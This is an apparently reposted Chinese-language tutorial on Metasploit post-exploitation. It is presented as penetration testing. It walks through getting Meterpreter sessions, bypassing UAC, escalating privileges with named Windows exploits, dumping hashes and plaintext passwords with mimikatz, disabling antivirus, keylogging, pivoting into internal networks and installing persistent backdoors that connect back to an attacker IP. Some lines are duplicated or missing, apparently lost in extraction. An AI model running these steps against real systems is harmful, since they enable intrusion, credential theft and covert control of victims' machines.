2023年7月20日发(作者:)
超实⽤!⼿把⼿教你如何⽤MSF进⾏后渗透测试! 在对⽬标进⾏渗透测试的时候,通常情况下,我们⾸先获得的是⼀台web服务器的webshell或者反弹shell,如果权限⽐较低,则需要进⾏权限提升;后续需要对系统进⾏全⾯的分析,搞清楚系统的⽤途;如果⽬标处于⼀个内⽹环境中,那么我们就需要通过它对内⽹的其它终端进⾏信息收集和渗透测试,更全⾯地挖掘系统中存在的安全隐患。 本期安仔课堂,ISEC实验室的向⽼师为⼤家介绍如何使⽤MSF进⾏后渗透测试。 ⼀、获取Meterpreter会话 Meterpreter 是msf的⼀个payload,⽬标执⾏之后,我们会得到⼀个会话,和常见的shell会话类似,但是它的功能更加强⼤,它是执⾏后渗透测试的实施通道。 1.直接获取 (1) 使⽤msfvenom⽣成payload 常⽤命令: (2)本地监听 监听需要⽤到msf的exploit/multi/handler模块,使⽤show options查看需要设置的参数。重要的参数有三个:监听使⽤的payload、本地ip、本地监听端⼝。这些参数的值跟之前msfvenom使⽤的参数⼀样。
(3)获得会话 将⽣成的exe⽂件或者其它类型的payload⽂件在⽬标上执⾏,就可以获得⼀个meterpreter会话,之后就可以使⽤msf开展后渗透测试的相关⼯作。 ll升级为meterpreter 如果最开始获取的是cmdshell,后来发现这台机器⾮常适合作为测试其它终端的跳板,这个时候cmdshell的功能已经不能满⾜需要,升级成meterpreter就⼗分有必要。 (1)以ms17-010的利⽤为例,默认使⽤的payload返回的就是cmdshell (2)将该cmdshell升级成meterpreter 命令:sessions-ucmdshell的id (3)查看是否升级成功 ⼆、提权 通常webshell的权限都⽐较低,能够执⾏的操作有限,没法查看重要⽂件、修改系统信息、抓取管理员密码和hash、安装特殊程序等,所以我们需要获取系统更⾼的权限。 1.绕过UAC ⽤户帐户控制(UAC)是微软在 Windows Vista 以后版本引⼊的⼀种安全机制,有助于防⽌对系统进⾏未经授权的更改。应⽤程序和任务可始终在⾮管理员帐户的安全上下⽂中运⾏,除⾮管理员专门给系统授予管理员级别的访问权限。UAC 可以阻⽌未经授权的应⽤程序进⾏⾃动安装,并防⽌⽆意中更改系统设置。 msf提供了如下⼏个模块帮助绕过UAC:
以exploit/windows/local/bypassuac_eventvwr为例,其它模块的使⽤⽅法基本⼀致。 (1)⾸先需要在meterpreter下执⾏background命令让当前会话保存到后台。 (2)使⽤sessions命令可以查看所有后台的会话,每个session对应⼀个id值,后⾯会经常⽤到。 (3)使⽤use exploit/windows/local/bypassuac_eventvwr命令进⼊该模块,使⽤show options查看需要设置的参数。 (4)将参数session设置为1,直接运⾏exploit或者run命令,执⾏成功之后会返回⼀个新的meterpreter会话。 (5)使⽤getuid命令查看当前⽤户,此时仍然是普通⽤户,再使⽤getsystem命令就可以提升到system权限了。 2.利⽤系统漏洞提权 ⽆论是linux还是windows都出过很多⾼危的漏洞,我们可以利⽤它们进⾏权限提升,⽐如windows系统的ms13-081、ms15-051、ms16-032、ms17-010等,msf也集成了这些漏洞的利⽤模块。 (1)使⽤search 补丁号进⾏搜索,就可以找到相关模块,以ms13-081为例。 (2)使⽤use exploit/windows/local/ms13_081_track_popup_menu命令进⼊该模块,使⽤show options命令查看需要设置的参数。 (3)使⽤set session 1命令设置后台的meterpreter会话id,再使⽤run命令运⾏,获取的就是SYSTEM权限。 (3)使⽤set session 1命令设置后台的meterpreter会话id,再使⽤run命令运⾏,获取的就是SYSTEM权限。 三、进程迁移 当meterpreter单独作为⼀个进程运⾏时容易被发现,如果将它和系统经常运⾏的进程进⾏绑定,就能够实现持久化。 1.查看当前会话的进程id 命令:getpid 2.查看⽬标运⾏的进程 命令:ps 3.绑定进程 命令:migratepid 四、令牌假冒 在⽤户登录windows操作系统时,系统都会给⽤户分配⼀个令牌(Token),当⽤户访问系统资源时都会使⽤这个令牌进⾏⾝份验证,功能类似于⽹站的session或者cookie。msf提供了⼀个功能模块可以让我们假冒别⼈的令牌,实现⾝份切换,如果⽬标环境是域环境,刚好域管理员登录过我们已经有权限的终端,那么就可以假冒成域管理员的⾓⾊。 1.查看当前⽤户 图20 2.使⽤use incognito命令进⼊该模块 3.查看存在的令牌 命令:list_tokens-u 4.令牌假冒 命令:impersonate_token⽤户名 注意⽤户名的斜杠需要写两个。 5.查看是否成功切换⾝份 五、获取凭证 在内⽹环境中,⼀个管理员可能管理多台服务器,他使⽤的密码有可能相同或者有规律,如果能够得到密码或者hash,再尝试登录内⽹其它服务器,可能取得意想不到的效果。 1.使⽤meterpreter的run hashdump命令。 2.使⽤load mimikatz加载mimikatz模块,再使⽤help mimikatz查看⽀持的命令。 3.使⽤wdigest命令获取登录过的⽤户储存在内存⾥的明⽂密码。 六、操作⽂件系统 1.⽂件的基本操作 ls:列出当前路径下的所有⽂件和⽂件夹。 pwd 或 getwd:查看当前路径。 search:搜索⽂件,使⽤search -h查看帮助。 cat:查看⽂件内容,⽐如cat 。 edit:编辑或者创建⽂件。和Linux系统的vm命令类似,同样适⽤于⽬标系统是windows的情况。 rm:删除⽂件。 cd:切换路径。 mkdir:创建⽂件夹。 rmdir:删除⽂件夹。 getlwd 或 lpwd:查看⾃⼰系统的当前路径。 lcd:切换⾃⼰当前系统的⽬录。 lls:显⽰⾃⼰当前系统的所有⽂件和⽂件夹。 lls:显⽰⾃⼰当前系统的所有⽂件和⽂件夹。 2.⽂件的上传和下载 (1) upload 格式:upload本地⽂件路径⽬标⽂件路径 (2)download 格式:download ⽬标⽂件路径 本地⽂件路径 七、系统其它操作 1.关闭防病毒软件 run killav run post/windows/manage/killav 2.操作远程桌⾯ run post/windows/manage/enable_rdp开启远程桌⾯ run post/windows/manage/enable_rdp username=test password=test添加远程桌⾯的⽤户(同时也会将该⽤户添加到管理员组) 3.截屏 screenshot 4.键盘记录 keyscan_start:开启键盘记录功能 keyscan_dump:显⽰捕捉到的键盘记录信息 keyscan_stop:停⽌键盘记录功能 5.执⾏程序 execute -h 查看使⽤⽅法 -H:创建⼀个隐藏进程 -a:传递给命令的参数 -i:跟进程进⾏交互 -m:从内存中执⾏ -t:使⽤当前伪造的线程令牌运⾏进程 -s:在给定会话中执⾏进程 例:execute -f c:/temp/ ⼋、端⼝转发和内⽹代理 d portfwd是meterpreter提供的端⼝转发功能,在meterpreter下使⽤portfwd -h命令查看该命令的参数。 常⽤参数: -l:本地监听端⼝ -r:内⽹⽬标的ip -p:内⽹⽬标的端⼝ 上⾯命令执⾏之后,会将10.1.1.3的3389端⼝转发到本地的2222端⼝。 pivot是msf最常⽤的代理,可以让我们使⽤msf提供的扫描模块对内⽹进⾏探测。 (1)⾸先需要在msf的操作界⾯下添加⼀个路由表。 添加命令:route add 内⽹ip ⼦⽹掩码 session的id 打印命令:route print 路由添加成功之后就可以在msf⾥访问10.1.1.0/24这个⽹段。 路由添加成功之后就可以在msf⾥访问10.1.1.0/24这个⽹段。 (2)建⽴socks代理。 如果其它程序需要访问这个内⽹环境,就可以建⽴socks代理。 msf提供了3个模块⽤来做socks代理。 auxiliary/server/socks4a
use auxiliary/server/socks5
use auxiliary/server/socks_unc 以auxiliary/server/socks4a为例,查看需要设置的参数。 ⼀共两个参数: SRVHOST:监听的ip地址,默认为0.0.0.0,⼀般不需要更改。 SRVPORT:监听的端⼝,默认为1080。 直接运⾏run命令,就可以成功创建⼀个socks4代理隧道,在linux上可以配置proxychains使⽤,在windows可以配置Proxifier进⾏使⽤。 九、后门 Meterpreter的shell运⾏在内存中,⽬标重启就会失效,如果管理员给系统打上补丁,那么就没办法再次使⽤exploit获取权限,所以需要持久的后门对⽬标进⾏控制。 Msf提供了两种后门,⼀种是metsvc(通过服务启动),⼀种是persistence(⽀持多种⽅式启动)。 (1) 使⽤run metsvc -h查看帮助,⼀共有三个参数。 -A:安装后门后,⾃动启动exploit/multi/handler模块连接后门 -h:查看帮助 -r:删除后门 (2) 安装后门 命令:run metsvc 命令运⾏成功后会在C:WindowsTEMP⽬录下新建随机名称的⽂件夹,⾥⾯⽣成3个⽂件(、、)。 同时会新建⼀个服务,显⽰名称为Meterpreter,服务名称为metsvc,启动类型为”⾃动”,绑定在31337端⼝。 (3) 连接后门 使⽤exploit/multi/handler模块,payload设置为windows/metsvc_bind_tcp,设置⽬标ip和绑定端⼝31337。 tence (1) 使⽤run persistence -h查看参数。 -A:安装后门后,⾃动启动exploit/multi/handler模块连接后门 -L:⾃启动脚本的路径,默认为%TEMP% -P:需要使⽤的payload,默认为windows/meterpreter/reverse_tcp -S:作为⼀个服务在系统启动时运⾏(需要SYSTEM权限) -T:要使⽤的备⽤可执⾏模板 -U:⽤户登陆时运⾏ -X:系统启动时运⾏ -i:后门每隔多少秒尝试连接服务端 -p:服务端监听的端⼝ -r:服务端ip (2) ⽣成后门 命令:run persistence -X -i 10 -r 192.168.1.9 -p 4444 (3) 连接后门 使⽤exploit/multi/handler模块,payload设置为windows/meterpreter/reverse_tcp,同时设置好服务端监听ip和端⼝。
发布者:admin,转转请注明出处:http://www.yc00.com/xiaochengxu/1689814346a288344.html
评论列表(0条)